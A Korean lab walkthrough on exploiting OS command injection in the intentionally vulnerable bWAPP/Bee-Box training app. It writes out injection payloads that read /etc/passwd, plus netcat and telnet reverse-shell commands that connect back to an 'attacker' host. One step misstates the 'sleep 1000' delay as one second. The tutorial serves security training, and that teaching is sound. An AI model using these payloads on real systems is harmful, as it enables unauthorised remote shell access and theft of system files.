Bee-Box(비박스) OS Command Injection

Bee-Box(비박스) OS Command Injection

 

(1) Kali Linux에서 http://beebox/ 사이트로 이동하여 로그인 하고, 목록에서 OS Command Injection을 찾아 이동합니다. (bee/ bug)

bWAPP 로그인
OS Command Injection 문제로 이동

 

(2) Lookup 버튼을 클릭하여 결과를 확인합니다.

 

(3) Bee-Box 가상머신에서 nslookup 명령어를 실행합니다.

입력 > nslookup www.nsa.gov

=> 웹페이지를 통해 요청한 결과와 동일한 내용을 출력하는 것을 확인할 수 있습니다.

=> 사용자 화면에서 전달한 값이 서버 내부 운영체제 명령어 실행에 사용되는 것을 유추

 

(4) bWAPP에 다음 값을 입력하고 버튼을 클릭합니다.

입력 값 > www.nsa.gov | ls

=> ls 명령어를 실행했을 때 값을 확인할 수 있습니다.

 

입력 값 > www.nsa.gov | cat /etc/passwd

=> passwd을 확인할 수 있습니다.

=> 접근할 수 없는 경로의 시스템 파일 내용을 확인할 수 있습니다.

=> 입력값이 서버 내부로 전달되어 검증,제한하지 않는다면 추가적인 명령어를 전달하고 실행하여 결과를 볼 수 있습니다.


netcat을 이용한 리버스 커넥션

인바운드(외부에서 내부로 들어오는)의 경우 서비스 포트만 열어놓지만 반대로 아웃바운드(내부에서 외부로 나가는)의 경우 대부분의 포트를 허용합니다.

Reverse Connection(리버스 커넥션)은 공격자(외부망)가 사용자PC(내부망)에 접속하는 것이 아닌 사용자가 공격자(PC)로 접속하도록 하는 것입니다.

 

리버스 커넥션 예제 #1 

 

(1) Kali linux 가상머신에 서버를 실행합니다.

$ nc -l -p 8282

=> -l 리스닝 모드로 열기

=> -p 포트번호 설정

 

(2) 운영체제 명령어 삽입 취약점을 가지고 있는 웹페이지에 다음 명령어를 입력하여 전달합니다.

bWAPP에 다음 값을 입력하고 버튼을 클릭합니다.

입력 값 > www.nsa.gov; nc attacker 8282 -e /bin/bash 

=> 이전 hosts.txt 파일에서 Kali를 attacker로 저장함

 

(3) 취약한 서버로 명령어를 전달합니다. 칼리에서 깜박이는 커서에 입력합니다.

입력 > whoami

입력 > pwd

입력 > cat /etc/passwd

=> 이 공격이 성공하기 위해서는 웹 애플리케이션에 Command Injection 취약점이 있어야하고, 해당 웹서버(beebox)에 nc 프로그램이 설치되어 있어야합니다.

=> 그렇다면 nc 프로그램이 설치되지 않은 웹서버는 어떻게 공격할 수 있을까?

=> 서버 관리 목록으로 많이 사용하는 프로그램을 이용하여 공격을 시도합니다. (ex. telnet)

 

리버스 커넥션 예제 #2

 

(1) Kali linux 가상머신에 두 개의 터미널을 열어 서버를 실행합니다.

[터미널1]

$ nc -l -p 8282

 

[터미널2]

$ nc -l -p 9292

 

(2) 운영체제 명령어 삽입 취약점을 가지고 있는 웹페이지에 다음 명령어를 입력하여 전달합니다.

bWAPP에 다음 값을 입력하고 버튼을 클릭합니다.

입력 값 > www.nsa.gov | sleep 1000 | telnet attacker 8282 | /bin/bash |telnet attacker 9292

=> 1초 동안 멈추고, 공격자 8282와 연결하고, 연결을 통해 전달될 값을 /bin/bash로 전달할 것이며, 실행결과를 9292로 전달할 것이다.

 

(3) 취약한 서버로 명령어를 전달합니다. 칼리에서 깜박이는 커서에 입력합니다.

입력 > whoami

입력으로 whoami, pwd, ip a 등을 입력해봅니다.